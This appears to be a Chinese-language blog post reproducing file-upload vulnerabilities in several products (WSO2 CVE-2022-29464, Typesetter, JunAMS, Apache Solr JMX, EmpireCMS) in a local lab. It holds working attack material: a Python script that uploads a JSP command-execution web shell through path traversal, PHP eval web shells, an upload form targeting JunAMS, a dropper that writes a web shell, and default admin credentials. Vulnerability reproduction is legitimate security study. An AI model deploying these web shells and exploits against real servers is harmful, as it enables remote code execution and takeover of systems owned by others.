WSO2 文件上傳 (CVE-2022-29464)
WSO2是一家成立于 2005 年的開源技術提供商。它提供了一個企業平臺,用于在本地和整個 Internet 上 集成應用程序編程接口(API)、應用程序和 Web 服務。 某些 WSO2 產品允許無限制的文件上傳和遠程代碼執行。攻擊者必須使用帶有 Content-Disposition 目錄遍歷序列的 /fileupload 端點來到達 Web 根目錄下的目錄,例如 ../../../../repository/deployment/server/webapps 目錄。這會影響 WSO2 API Manager 2.2.0 及更高版本到 4.0.0;WSO2 Identity Server 5.2.0 及以上至 5.11.0;WSO2 身份服務器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;WSO2 身份服務器作為密鑰管理器 5.3.0 及更高版本至 5.10.0;和 WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。
打開頁面
使用exp進行測試上傳shell文件
漏洞利用過程
利用這個漏洞的過程涉及到構造特殊的 HTTP 請求,通過這些請求,攻擊者可以繞過正常的文件上傳限制,將 JSP 文件上傳到服務器的特定目錄中。上傳的 JSP 文件可以包含任意代碼,一旦上傳成功,攻擊者就可以通過訪問這個 JSP 文件來執行服務器上的命令。
以下是一個簡化的利用過程示例:
import?requests
# 目標 URL
url =?"http://target.com/fileupload/toolsAny"
# 構造惡意 JSP 文件內容
jsp_payload =?"""
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
"""
# 發送惡意文件上傳請求
files = {?"../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp": jsp_payload }
response = requests.post(url, files=files, verify=False)
# 輸出上傳后的 JSP 文件訪問路徑
print(f"Shell uploaded at: {url}/authenticationendpoint/shell.jsp")
在這個示例中,攻擊者構造了一個包含惡意代碼的 JSP 文件,并通過修改 HTTP 請求的?Content-Disposition?頭部,使得文件被上傳到服務器的?authenticationendpoint?目錄下。這個目錄通常用于存放認證相關的頁面,但由于漏洞的存在,攻擊者可以將其用作存放惡意文件的位置。
typesetter 文件上傳 (CVE-2020-25790)
CVE-2020-25790?是一個影響 Typesetter CMS 的文件上傳漏洞。該漏洞允許攻擊者通過上傳包含惡意 PHP 代碼的 ZIP 文件,從而在服務器上執行任意代碼。
漏洞復現步驟
1. 登錄 Typesetter CMS
首先,使用管理員賬號登錄 Typesetter CMS。默認賬號和密碼通常為?admin/admin。
示例:
訪問首頁 -> 點擊?"logged in"?-> 輸入賬號密碼 admin/admin
2. 創建惡意 PHP 文件
創建一個包含惡意代碼的 PHP 文件,例如:
<?php @eval($_POST['cmd']); ?>
將該文件壓縮成 ZIP 包,例如?shell.zip。
3. 上傳 ZIP 文件
在 Typesetter CMS 中,找到文件上傳功能,選擇并上傳?shell.zip。
示例:
選擇?"內容"?->?"已上傳的文檔"?->?"上傳"
4. 解壓 ZIP 文件
上傳完成后,選擇解壓該 ZIP 文件。解壓后會得到一個 PHP 文件,例如?shell.php。
?junams 文件上傳 (CNVD-2020-24741)
JunAMS是一款以ThinkPHP為框架的開源內容管理系統。 JunAMS內容管理系統存在文件上傳漏洞,攻擊者可利用該漏洞上傳webshell,獲取服務器權限。 后臺路徑 /admin.php admin:admin
打開頁面
后臺登錄
測試的時候一直發現請求上傳接口出現異常 無法上傳文件 利用exp進行上傳
<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>
solr 上傳代碼 (CVE-2019-12409)
Apache Solr CVE-2019-12409 是一個遠程代碼執行漏洞,涉及到 Java Management Extensions (JMX) 技術。JMX 通常用于管理和監控應用程序,但如果 JMX 服務端口暴露,遠程攻擊者可以利用這一點遠程加載惡意的 Bean 文件,從而執行遠程代碼。
漏洞條件
此漏洞影響 Apache Solr 的 8.1.1 和 8.2.0 版本。在?solr.in.sh?配置文件中,默認啟用了?ENABLE_REMOTE_JMX_OPTS?配置項,允許遠程加載 JMX。漏洞觸發還需要 RMI 端口開啟,默認為 18983,并且運行在 Linux 服務器系統上。
漏洞復現步驟
-
環境搭建:下載受影響的 Apache Solr 版本,如 8.2.0 或 8.1.1,從官方網站獲取。
-
配置檢查:在?solr.in.sh?文件中確認?ENABLE_REMOTE_JMX_OPTS?設置為 "true",表明存在漏洞。
-
啟動服務:在?bin?目錄下使用?./solr -e dih -force?命令啟動 Solr 服務。
-
端口檢查:使用?nmap?確認 JMX 服務的 18983 端口已開啟。
-
利用工具:可以使用?mjet?和?msf?工具進行漏洞利用。mjet?可以部署惡意的 MBean,而?msf?的?exploit/multi/misc/java_jmx_server?模塊可用于遠程代碼執行
我這里是本地搭建的老版本的vulfocus 復現不起來。?
官方的在線靶場也不能復現
empirecms 文件上傳 (CVE-2018-18086)
CVE-2018-18086?是一個影響 EmpireCMS(帝國網站管理系統)7.5 及之前版本的嚴重安全漏洞。該漏洞存在于?e/class/moddofun.php?文件中的?LoadInMod?函數中,攻擊者可以利用該漏洞上傳任意文件,從而實現任意代碼執行。
漏洞影響范圍
該漏洞影響 EmpireCMS 7.5 及之前的所有版本。攻擊者可以通過未驗證的數據庫表名修改,實現任意代碼執行。
漏洞復現步驟
-
訪問后臺管理頁面:訪問?http://<目標IP>/empirecms/e/admin/index.php,使用默認賬號密碼?admin/123456?登錄后臺管理頁面。
-
導入系統模型:依次點擊“系統” -> “管理數據表” -> “導入系統模型”。
-
上傳惡意文件:創建一個名為?shell.php.mod?的文件,內容如下:
<?php file_put_contents("shell.php",?"<?php @eval(\$_POST['cmd']); ?>"); ?>
-
驗證文件上傳:導入文件后,訪問?http://<目標IP>/empirecms/e/admin/shell.php,驗證文件是否成功上傳